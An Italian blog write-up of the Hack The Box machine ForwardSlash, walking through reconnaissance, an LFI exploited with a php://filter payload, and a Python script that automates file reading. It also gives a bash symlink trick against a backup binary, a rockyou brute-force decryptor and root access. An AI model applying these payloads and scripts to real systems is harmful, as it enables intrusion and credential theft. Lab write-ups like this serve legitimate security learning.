NMAP
Come al solito avvio la scansione delle porte con nmap:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/nmap-1.png)
Dalla scansione risultano aperte esclusivamente le porte 80 e 22. Faccio un giro sulla porta 80, ah, il sito è raggiungibile dopo aver aggiunto forwardslash.htb in /etc/hosts
10.10.10.183 forwardslash.htb
A quanto pare il sito ha subito un attacco:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/defaced-1024x518.png)
Decido di enumerare un po’ i file e le directory con gobuster, trovo un file che si chiama note.txt:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/notetxt.png)
La nota è lasciata da un utente che si chiama chiv e quanto pare esiste un backup del sito da qualche parte. Continuo a enumerare con gobuster ma non c’è segno della presenza di questo backup. Provo ad aggiungere un sottodominio al mio file /etc/hosts:
10.10.10.183 backup.forwardslash.htb
Funziona, vedo un pannello di login:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/backup_login.png)
LFI
Creo un account con delle credenziali a piacimento ed accedo. Dando un’occhiata all’applicazione c’è una funzione di cambio immagine del profilo che come input vuole un url:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/logged_in.png)
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/url_disabled.png)
Il form è disabilitato ma si può abilitare semplicemente modificando il codice della pagina con l’inspector di firefox:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/disabled.png)
Facendo un po’ di tentativi è chiaro che il cambio di immagine del profilo è vulnerabile a LFI e RFI.
Avvio gobuster sul dominio backup per vedere se il sito corrente ha qualche file interessante, trovo i seguenti file:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/gobuster_backup.png)
Faccio vari tentativi di lettura del file config.php, riesco a leggerlo col seguente payload:
php://filter/convert.base64-encode/resurce=config.php
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/read_configphp-1024x221.png)
In questo modo il contenuto del file è convertito in base64 e non è elaborato come codice php dal server nel momento in cui cerco di leggerlo sfruttando la LFI.
Converto la string in plaintext ed ottengo il codice php:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/decode_b64.png)
Riesco a leggere la password di connessione al database che però risulta essere inutile.
Gobuster mostrava una cartella dev, decido di provare a leggere il file index al suo interno, se c’è. Nel frattempo mi sono creato uno script in python per agevolare questo processo:
#!/usr/bin/python3
import requests
import sys
import json
import base64
# forwardslash LFI Script by TheJ0k3r
url = 'http://backup.forwardslash.htb/profilepicture.php'
f = sys.argv[1]
headers = '{"Cookie":"PHPSESSID=mfj6mhco1p2gq9rvbhutnk9k8g", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Content-Type":"application/x-www-form-urlencoded", "User-Agent":"fava"}'
php = "php://filter/convert.base64-encode/resource=" + f
payload = '{"url":"' + php +'"}'
res = requests.post(url, data=json.loads(payload), headers=json.loads(headers))
html = res.text
b64 = html.split('</html>')[1]
text = base64.b64decode(b64)
print('')
print('[+] Content of the file' + f + ':')
print('')
print(text.decode('utf-8'))
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/index_dev.png)
All’interno del file dev/index.php sono presenti delle credenziali ftp dell’utente chiv. Provo ad usarle su ssh:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/chiv_ssh-1024x434.png)
LATERAL MOVEMENT
Riesco ad accedere ma non è presente la flag user. La box ha anche l’utente pain, decido di enumerare tutto ciò che appartiene a questo utente. All’interno della cartella /var/backups trovo un file config.php.bak che appartiene proprio a pain:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/configbak.png)
Con l’utenza di chiv non ho i permessi per leggere quel file, continuo a enumerare.
All’interno di /usr/bin trovo un binario chiamato backup che appartiene sempre a pain, decido di approfondire e provo a lanciarlo:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/backuptunh.png)
Cerco di capire come funziona il file, sembra che stia cercando il file 36229a[…] ma che non riesca a trovarlo. Dopo alcuni tentativi mi rendo conto che il nome del file non è altro che l’orario visualizzato convertito in md5. Analizzo il file con ltrace:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/test_time_md5.png)
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/ltrace-1024x657.png)
Qui arriva la parte CTF della box. Ho fatto numerosi tentativi finché non sono riuscito a capire che creando un symlink con nome md5 dell’ora corrente al file config.php.bak trovato in precedenza riesco a leggere il contenuto del file:
#!/bin/bash
TEMPO=$(date +"%H:%M:%S")
echo "$TEMPO"
MD5=$(echo -n "$TEMPO" | md5sum)
fava=$(echo "$MD5" |cut -d" " -f1)
ln -s /var/backups/config.php.bak "$fava"
/usr/bin/backup
Dal momento che backup è eseguito nel contesto di pain, è importante lanciare lo script bash da una posizione accessibile da pain, altrimenti il collegamento creato non potrà essere letto da backup.
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/script_bash.png)
PRIVILEGE ESCALATION
Nel file sono presenti le credenziali di pain per connettersi al database, provo ad usarle con ssh.
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/ssh_pain.png)
Con l’utente pain la prima cosa che faccio è sudo -l, che mi restituisce:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/sudo_l.png)
Sono presenti alcuni comandi che permettono di montare un backup. Faccio mente locale e ricordo di aver notato una cartella sospetta all’interno di /var/backups:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/img_cifrata.png)
All’interno della cartella recovery è presente un backup cifrato.
Dentro alla home di pain c’è un messaggio cifrato con uno script in python in cui è stata eliminata la chiave di cifratura per poterlo decifrare. A questo punto, magari serve a qualcosa, ho cercato di rimandarlo fino ad ora xD.
Utilizzando rockyou.txt e il seguente script python è possibile risalire alla chiave originale:
#!/usr/bin/python2
from functools import partial
import multiprocessing
from tqdm import tqdm
def decrypt(msg, key):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return (''.join(msg), ''.join(key))
with open("./ciphertext", "rb") as f:
ciphertext = f.read()
with open("/usr/local/share/wordlists/rockyou.txt") as f:
passwords = [ p.rstrip() for p in f.readlines() ]
pbar = tqdm(total=len(passwords))
with open("passwords.txt", "w") as f:
pool = multiprocessing.Pool(64)
func = partial(decrypt, ciphertext)
for result in pool.imap(func, passwords):
pbar.update(1)
if "you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery:" in result[0]:
f.write(result[1] + "\n")
Ringrazio @davidlightman1983 per avermi fornito lo script con il riferimento alla stringa ed avermi così evitato di perdere tempi a scorrere milioni di print sul terminale (nonsense :/).
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/keydecifra.png)
Il messaggio decifrato è il seguente:
you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
A questo punto non resta che decifrare il backup precedente:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/luksopen.png)
Monto il backup e guardo cosa c’è al suo interno:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/monta.png)
Con la chiave appena trovata mi connetto a ssh, presumibilmente come root:
![](http://www.andreabruschi.net/wp-content/uploads/2020/04/ssh_root.png)